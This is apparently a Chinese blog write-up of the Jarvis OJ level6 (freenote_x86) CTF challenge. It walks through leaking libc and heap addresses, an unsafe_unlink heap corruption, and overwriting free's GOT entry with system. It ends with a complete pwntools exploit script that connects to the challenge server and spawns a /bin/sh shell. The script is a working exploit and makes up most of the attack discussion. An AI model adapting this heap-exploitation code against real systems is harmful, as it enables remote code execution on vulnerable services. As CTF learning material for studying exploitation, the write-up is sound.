jarvis oj level6

原来的附件有点问题,重新发过了.

主要用了两个技术:1.溢出泄露libc地址,heap地址.2.unsafe_unlink,这个how2pwn上unsafe_unlink.c里写的很清楚.

首先看泄露libc地址

New("A"*0x80)#0
New("B"*0x80)#1
Delete(0)
New("123")
List()
c=p.recvuntil('AAAA')
leak_addr=u32(c[-8:-4])
print hex(leak_addr)
offset=0x1ad450//各个版本libc可能不同
libc_addr=leak_addr-offset

首先malloc两个smallchunk.因为chunk0是第一块smallchunk,fd和bk都指向main_arena中的特定值.

free前 free chunk0后 再malloc
pre pre pre
size size size
AAAA… fd 123
AAAA… bk bk
pre pre pre
size size size
BBBB… BBBB… BBBB…
BBBB… BBBB… BBBB…

在本地调试,gdb freenote_x86,如上操作,ctrl+c暂停,查看内存,堆处如下:
jarvis oj level6_第1张图片
0xf7fbe450指向main_arena中某个值,然后vmmap查看加载地址
libc加载的起始地址是0xf7e11000,计算下两者偏差0x1ad450,这个值和服务器上相同,都是泄露地址相对libc起始位置的相对偏移.

然后看泄露堆地址

New("C"*0x80)#2
New("D"*0x80)#3
Delete(0)
Delete(2)
New('000')
List()
d=p.recvuntil('AAAA')
chunk2_addr=u32(d[-8:-4])

heap_addr=chunk2_addr-0xd28  ##固定值,是第一块分配的chunk距heap头的偏移
print hex(heap_addr)
pointer2chunk0=heap_addr+0x18

先再创建两个smallchunk,然后删除0和2,因为当两个不相邻的chunk被free掉时,会形成链表,这时chunk的fd和bk中存有chunk的地址信息如下:
jarvis oj level6_第2张图片
这里bk是指向chunk2,为0x0804bd28.分配chunk是从距堆底0xc28开始,是固定的,chunk2距chunk00x100,因此
heap_addr=chunk2_addr-0xc28-0x100.

为什么要泄露堆地址是因为unlink需要指向chunk的指针,而指针保存在堆起始位置,它维护指向各chunk的指针.

然后进行unlink
首先全部删除块.关于unlink我在传送门写了.再本地看下指向chunk0的指针保存在距堆首0x18:
jarvis oj level6_第3张图片
.
按照之前的学习笔记,构造payload:

payload = p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)
payload = payload.ljust(0x80,'a') 
payload += p32(0x80)+p32(0x80) 
payload = payload.ljust(0x80*2,'a')
New(len(payload),payload)
Delete(1)

此时heap_base+0x18处的指针已指向heap_base+0x18-12,然后构造payload2,利用edit修改heap头:
jarvis oj level6_第4张图片
经过看内存,大概了解了,0x804b00c处是有几块使用中,然后每12个字节对应一块chunk:前4个字节,0代表free了,1代表使用中;中间4个,是chunk数据字段的大小;最后4个是块地址.

最后劫持got表
修改got表,把free的地址修改为system地址,然后把"bin/sh"传入chunk1处,此时执行free(1)就相当于system("/bin/sh")

脚本如下:

from pwn import * 
context.log_level='DEBUG'
e=ELF('libc-2.19.so')
local=0
if local:
	p=process("./freenote_x86")
else:
	p=remote('pwn2.jarvisoj.com', 9885)

def New(content): 
	p.recvuntil("Your choice: ") 
	p.sendline("2") 
	p.recvuntil("Length of new note: ") 
	p.sendline(str(len(content))) 
	p.recvuntil("Enter your note: ") 
	p.sendline(content) 
	p.recvuntil("Done.") 

def List(): 
	p.recvuntil("Your choice: ") 
	p.sendline("1") 

def Edit(index,content):
	p.recvuntil('Your choice: ')
	p.sendline('3')
	p.recvuntil('Note number: ')
	p.sendline(str(index))
	p.recvuntil('Length of note: ')
	p.sendline(str(len(content)))
	p.recvuntil('Enter your note: ')
	p.sendline(content)
	p.recvuntil("Done.")


def Delete(index): 
	p.recvuntil("Your choice: ") 
	p.sendline("4") 
	p.recvuntil("Note number: ") 
	p.sendline(str(index))


###########################leak libc address

New("A"*0x80)#0
New("B"*0x80)#1
Delete(0)
New("123")
List()
c=p.recvuntil('AAAA')
leak_addr=u32(c[-8:-4])
print hex(leak_addr)

offset=0x1ad450##local tested main2libc
libc_addr=leak_addr-offset
sys_addr=e.symbols['system']+libc_addr

print hex(sys_addr)

###############################leak heap address

New("C"*0x80)#2
New("D"*0x80)#3
Delete(0)
Delete(2)
New('000')
List()
d=p.recvuntil('AAAA')
chunk2_addr=u32(d[-8:-4])

heap_addr=chunk2_addr-0xd28
print "heap_addr:"+hex(heap_addr)
pointer2chunk0=heap_addr+0x18

########################################unlink
Delete(0)
Delete(1)
Delete(3)
elf=ELF('./freenote_x86')
payload = p32(0)+p32(0x81)+p32(pointer2chunk0-12)+p32(pointer2chunk0-8) 
payload = payload.ljust(0x80,'\x00') 
payload += p32(0x80)+p32(0x80) 
payload = payload.ljust(0x80*2,'\x00')
New(payload)
sleep(0.2)
Delete(1)

##################################hijack got
payload2 = p32(2)+p32(1)+p32(4)+p32(elf.got['free'])+p32(1)+p32(8)+p32(heap_addr+0xca8)
payload2 = payload2.ljust(0x80*2,'\x00')
Edit(0 ,payload2)
Edit(0, p32(sys_addr))
Edit(1, '/bin/sh\x00')
print 'system address:%x'%sys_addr

###################################call system("/bin/sh")
Delete(1)
p.interactive()


经过这段时间的学习,深感基础不扎实,暂时放下jarvis,去系统学习一下pwn.发现一个讲的很全面的网站,ctf-wiki,里面不光包括pwn,是中文.我会记笔记在博客里的.

你可能感兴趣的:(pwn)